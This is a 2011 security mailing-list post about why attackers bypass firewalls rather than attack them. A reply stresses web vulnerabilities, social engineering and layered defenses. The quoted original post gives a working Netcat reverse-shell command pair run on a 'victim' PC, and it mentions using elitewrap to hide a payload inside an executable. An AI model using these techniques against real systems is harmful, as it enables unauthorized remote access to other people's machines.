mailing list archives
Directly attacking a firewall
From: John Kellerman <kmj1268 () comcast net>
Date: Mon, 28 Feb 2011 20:02:35 -0500
I am responding to the post below:
I saw your email about "how hard and long would it take to attack directly a firewall....."
Sorry but 'short and sweet'... with the abundance of web vulnerabilities (Cross site scripting, SQL injecting and the
plethora of IIS Vulnerabilities and Apache vulnerabilities).. .hackers and pen testers rarely spend their time
'directly attacking a firewall' to get to the jewels behind the firewall...
There are the common ports (especially web services) that are always allowed in and that's the path of least
resistance. The attack vector is now web vulnerabilities and phishing(email)... drive by downloads, etc....
Once a hacker or pentester for a project can get to a web server - he/she has a pivot point to go further into the
network. That's the reasons security engineers always emphasize to separate internet facing servers and as well as 2
tier components like DB servers. Web Servers in one DMZ, DB servers in another DMZ with strict access controls and
MOST IMPORTANT regular patch updates of OS and applications as well as thorough code review on web code to ensure that
Cross Site Scripting vulnerabilities and SQL Inject Vulnerabilities dont exist..
Defense in layers always is the best defense.
I whole-heartedly agree with the Social Engineering attack vector - and I would say next to web vulnerabilities and
drive by downloads, that's just as prevalent as a risk.
Just my 0.02.... and/or opinion... for what it's worth
POST below I am responding to.....
To conclude this post, I'd like to share my findings with everyone in a "resume".
First of all, thanks for everyone's answer I appreciate your help greatly.
So my initial question was "how hard & long would it take to attack directly a firewall to get to the SRV protected
behind it". You basically answered "don't do it".
You basically used "the easiest way" around the Firewall. I mean, why waste time on a door when the window is open? :P
Here's a list of solution/quick fix that you provided to me:
1. Social engineering (humans)
a. One of the posts showed me how to use the tool "elitewrap" that basically creates an
.exe that can play a video AND in the background execute something else (that's an example). The goal was to use Social
engineering and have a user execute the file, while obtaining a reverse shell (I'll discuss about this later).
2. Physical security
a. Again, getting in the environment of the company is usually quite easy
b. We put wireless in here because you need to be "near" the access point
3. Application issues
a. This was one of the most popular vectors of attack. You stated, and I researched on
this, that applications are weaker than OS and as such they should be attacked first. I found a report that showed that
MS Office held (more or less) 20 of the top 30 vulnerability in late 2009 while the 10 others were related to Sun Java
b. Of course you mentioned SQL INJECTION attacks
c. Also I saw someone post about protection on web applications a "WAF" (web application
firewall, a deep inspection FW)
To sum it up, I get my answer in the format I didn't expect. The Firewall is "hard" to attack while "easy" to bypass
(with a potentially longer list!).
I tough that I knew how to use Netcat before I made this post, I was wrong. So just to help anyone looking "Reverse
Shell Netcat" on google, heres what I found (with the help of one of you)
Netcat.exe -v -l -p 80
Netcat.exe IP_My_PC 80 -e cmd.exe
This will set "My PC" as the server (initially) listening on port 80 for ANY connexion. While we execute on the Victims
PC the netcat to connect on port 80 to MY_PC and upon connexion execute cmd.exe (locally). What will happen is that on
MY_PC you will get that CMD.EXE shell (the shell of the Victims PC). Thus bypassing the Firewall and getting the
privilege of the local user on the Victims PC.
Btw this is possible with SSH (encrypted so the firewall or sysadmin wont get the transmitted msg)
I hope this helps! I know many of you already knew how to do it, but I'm gonna try and give a little back :-)
Thanks again guys,
Securing Apache Web Server with thawte Digital Certificate
In this guide we examine the importance of Apache-SSL and who needs an SSL certificate. We look at how SSL works, how
it benefits your company and how your customers can tell if a site is secure. You will find out how to test, purchase,
install and use a thawte Digital Certificate on your Apache web server. Throughout, best practices for set-up are
highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates.
- Directly attacking a firewall John Kellerman (Mar 01)